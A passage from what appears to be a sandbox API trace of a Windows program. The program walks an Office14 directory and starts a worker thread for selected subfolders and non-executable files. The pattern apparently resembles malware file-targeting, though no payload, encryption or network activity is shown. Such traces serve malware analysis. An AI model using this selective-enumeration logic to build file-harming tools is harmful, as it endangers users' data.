ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove", cAlternateFileName="")) returned 1 [0086.151] wcscmp (_String1="Groove", _String2=".") returned 1 [0086.151] wcscmp (_String1="Groove", _String2="..") returned 1 [0086.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b7a3500 [0086.151] wcscpy (in: _Dest=0x1b7a3500, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.151] wcscat (in: _Dest=0x1b7a3500, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.151] wcscat (in: _Dest=0x1b7a3500, _Source="Groove" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove" [0086.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a3500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x870 [0086.152] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x3112b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1 [0086.152] wcscmp (_String1="GROOVE.EXE", _String2=".") returned 1 [0086.152] wcscmp (_String1="GROOVE.EXE", _String2="..") returned 1 [0086.152] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x669390, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1 [0086.152] wcscmp (_String1="GROOVEEX.DLL", _String2=".") returned 1 [0086.152] wcscmp (_String1="GROOVEEX.DLL", _String2="..") returned 1 [0086.152] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c91e000, ftCreationTime.dwHighDateTime=0x1cacb46, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c91e000, ftLastWriteTime.dwHighDateTime=0x1cacb46, nFileSizeHigh=0x0, nFileSizeLow=0x14ed88, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVEMN.EXE", cAlternateFileName="")) returned 1 [0086.152] wcscmp (_String1="GROOVEMN.EXE", _String2=".") returned 1 [0086.152] wcscmp (_String1="GROOVEMN.EXE", _String2="..") returned 1 [0086.152] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0360920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x91b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVAC.DLL", cAlternateFileName="")) returned 1 [0086.152] wcscmp (_String1="HVAC.DLL", _String2=".") returned 1 [0086.153] wcscmp (_String1="HVAC.DLL", _String2="..") returned 1 [0086.153] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50eeca00, ftCreationTime.dwHighDateTime=0x1cbceff, ftLastAccessTime.dwLowDateTime=0xcf0a1be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50eeca00, ftLastWriteTime.dwHighDateTime=0x1cbceff, nFileSizeHigh=0x0, nFileSizeLow=0x3b360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEAWSDC.DLL", cAlternateFileName="")) returned 1 [0086.153] wcscmp (_String1="IEAWSDC.DLL", _String2=".") returned 1 [0086.153] wcscmp (_String1="IEAWSDC.DLL", _String2="..") returned 1 [0086.153] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82531f00, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82531f00, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xb13a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEContentService.exe", cAlternateFileName="IECONT~1.EXE")) returned 1 [0086.153] wcscmp (_String1="IEContentService.exe", _String2=".") returned 1 [0086.153] wcscmp (_String1="IEContentService.exe", _String2="..") returned 1 [0086.153] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58c5e60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xa6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCOMMON.DLL", cAlternateFileName="")) returned 1 [0086.153] wcscmp (_String1="IMCOMMON.DLL", _String2=".") returned 1 [0086.153] wcscmp (_String1="IMCOMMON.DLL", _String2="..") returned 1 [0086.153] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5dc7c00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb5dc7c00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x73c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMDIMP.ADD", cAlternateFileName="")) returned 1 [0086.153] wcscmp (_String1="IMDIMP.ADD", _String2=".") returned 1 [0086.153] wcscmp (_String1="IMDIMP.ADD", _String2="..") returned 1 [0086.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b85da10 [0086.153] wcscpy (in: _Dest=0x1b85da10, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.153] wcscat (in: _Dest=0x1b85da10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.153] wcscat (in: _Dest=0x1b85da10, _Source="IMDIMP.ADD" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD") returned="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD" [0086.153] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85da10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x874 [0086.154] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x2d168, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMPMAIL.DLL", cAlternateFileName="")) returned 1 [0086.154] wcscmp (_String1="IMPMAIL.DLL", _String2=".") returned 1 [0086.154] wcscmp (_String1="IMPMAIL.DLL", _String2="..") returned 1 [0086.154] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58ebfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2f180, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMUTIL.DLL", cAlternateFileName="")) returned 1 [0086.154] wcscmp (_String1="IMUTIL.DLL", _String2=".") returned 1 [0086.154] wcscmp (_String1="IMUTIL.DLL", _String2="..") returned 1 [0086.154] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db63000, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58ebfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1db63000, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x38388, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMWDD.DLL", cAlternateFileName="")) returned 1 [0086.154] wcscmp (_String1="IMWDD.DLL", _String2=".") returned 1 [0086.154] wcscmp (_String1="IMWDD.DLL", _String2="..") returned 1 [0086.154] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5912120, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMWIZ.DLL", cAlternateFileName="")) returned 1 [0086.154] wcscmp (_String1="IMWIZ.DLL", _String2=".") returned 1 [0086.154] wcscmp (_String1="IMWIZ.DLL", _String2="..") returned 1 [0086.154] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3501d300, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x53979a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3501d300, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x275770, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH.EXE", cAlternateFileName="")) returned 1 [0086.155] wcscmp (_String1="INFOPATH.EXE", _String2=".") returned 1 [0086.155] wcscmp (_String1="INFOPATH.EXE", _String2="..") returned 1 [0086.155] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOM", cAlternateFileName="INFOPA~1")) returned 1 [0086.155] wcscmp (_String1="InfoPathOM", _String2=".") returned 1 [0086.155] wcscmp (_String1="InfoPathOM", _String2="..") returned 1 [0086.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b85da90 [0086.155] wcscpy (in: _Dest=0x1b85da90, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.155] wcscat (in: _Dest=0x1b85da90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.155] wcscat (in: _Dest=0x1b85da90, _Source="InfoPathOM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" [0086.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85da90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x878 [0086.156] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x61d191f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x7bb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="INLAUNCH.DLL", cAlternateFileName="")) returned 1 [0086.156] wcscmp (_String1="INLAUNCH.DLL", _String2=".") returned 1 [0086.156] wcscmp (_String1="INLAUNCH.DLL", _String2="..") returned 1 [0086.156] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb562a700, ftCreationTime.dwHighDateTime=0x1cacb3f, ftLastAccessTime.dwLowDateTime=0x61e23b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb562a700, ftLastWriteTime.dwHighDateTime=0x1cacb3f, nFileSizeHigh=0x0, nFileSizeLow=0x1bac000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installed_resources14.xss", cAlternateFileName="INSTAL~1.XSS")) returned 1 [0086.156] wcscmp (_String1="Installed_resources14.xss", _String2=".") returned 1 [0086.156] wcscmp (_String1="Installed_resources14.xss", _String2="..") returned 1 [0086.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ad480 [0086.156] wcscpy (in: _Dest=0x1b7ad480, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.156] wcscat (in: _Dest=0x1b7ad480, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.156] wcscat (in: _Dest=0x1b7ad480, _Source="Installed_resources14.xss" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss") returned="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss" [0086.156] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x87c [0086.157] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb562a700, ftCreationTime.dwHighDateTime=0x1cacb3f, ftLastAccessTime.dwLowDateTime=0x61e23b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb562a700, ftLastWriteTime.dwHighDateTime=0x1cacb3f, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installed_schemas14.xss", cAlternateFileName="INSTAL~2.XSS")) returned 1 [0086.157] wcscmp (_String1="Installed_schemas14.xss", _String2=".") returned 1 [0086.157] wcscmp (_String1="Installed_schemas14.xss", _String2="..") returned 1 [0086.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85c2a0 [0086.157] wcscpy (in: _Dest=0x1b85c2a0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.157] wcscat (in: _Dest=0x1b85c2a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.157] wcscat (in: _Dest=0x1b85c2a0, _Source="Installed_schemas14.xss" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss") returned="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss" [0086.157] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c2a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x880 [0086.158] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf65300, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xd5938280, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2bf65300, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x17380, dwReserved0=0x0, dwReserved1=0x0, cFileName="INTLDATE.DLL", cAlternateFileName="")) returned 1 [0086.158] wcscmp (_String1="INTLDATE.DLL", _String2=".") returned 1 [0086.158] wcscmp (_String1="INTLDATE.DLL", _String2="..") returned 1 [0086.158] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36330000, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x64a2d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36330000, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x98b578, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPDESIGN.DLL", cAlternateFileName="")) returned 1 [0086.158] wcscmp (_String1="IPDESIGN.DLL", _String2=".") returned 1 [0086.158] wcscmp (_String1="IPDESIGN.DLL", _String2="..") returned 1 [0086.158] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3501d300, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x64cdab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3501d300, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x8a4d70, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPEDITOR.DLL", cAlternateFileName="")) returned 1 [0086.158] wcscmp (_String1="IPEDITOR.DLL", _String2=".") returned 1 [0086.158] wcscmp (_String1="IPEDITOR.DLL", _String2="..") returned 1 [0086.158] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x543977b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x1375c, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPIRM.XML", cAlternateFileName="")) returned 1 [0086.158] wcscmp (_String1="IPIRM.XML", _String2=".") returned 1 [0086.158] wcscmp (_String1="IPIRM.XML", _String2="..") returned 1 [0086.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85db10 [0086.159] wcscpy (in: _Dest=0x1b85db10, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.159] wcscat (in: _Dest=0x1b85db10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.159] wcscat (in: _Dest=0x1b85db10, _Source="IPIRM.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML" [0086.159] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85db10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x884 [0086.165] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x64d730d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x135a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPIRMV.XML", cAlternateFileName="")) returned 1 [0086.165] wcscmp (_String1="IPIRMV.XML", _String2=".") returned 1 [0086.165] wcscmp (_String1="IPIRMV.XML", _String2="..") returned 1 [0086.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b85db90 [0086.165] wcscpy (in: _Dest=0x1b85db90, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.165] wcscat (in: _Dest=0x1b85db90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.165] wcscat (in: _Dest=0x1b85db90, _Source="IPIRMV.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML" [0086.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85db90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x888 [0086.165] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x64d730d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x39988, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPOLK.DLL", cAlternateFileName="")) returned 1 [0086.166] wcscmp (_String1="IPOLK.DLL", _String2=".") returned 1 [0086.166] wcscmp (_String1="IPOLK.DLL", _String2="..") returned 1 [0086.166] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x551a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXACS.PDL", cAlternateFileName="")) returned 1 [0086.166] wcscmp (_String1="IXACS.PDL", _String2=".") returned 1 [0086.166] wcscmp (_String1="IXACS.PDL", _String2="..") returned 1 [0086.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85dc10 [0086.166] wcscpy (in: _Dest=0x1b85dc10, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.166] wcscat (in: _Dest=0x1b85dc10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.166] wcscat (in: _Dest=0x1b85dc10, _Source="IXACS.PDL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IXACS.PDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXACS.PDL" [0086.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85dc10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x88c [0086.166] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x34188, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXDB2.PDL", cAlternateFileName="")) returned 1 [0086.166] wcscmp (_String1="IXDB2.PDL", _String2=".") returned 1 [0086.166] wcscmp (_String1="IXDB2.PDL", _String2="..") returned 1 [0086.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85dc90 [0086.167] wcscpy (in: _Dest=0x1b85dc90, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.167] wcscat (in: _Dest=0x1b85dc90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.167] wcscat (in: _Dest=0x1b85dc90, _Source="IXDB2.PDL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IXDB2.PDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXDB2.PDL" [0086.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85dc90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x890 [0086.167] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, 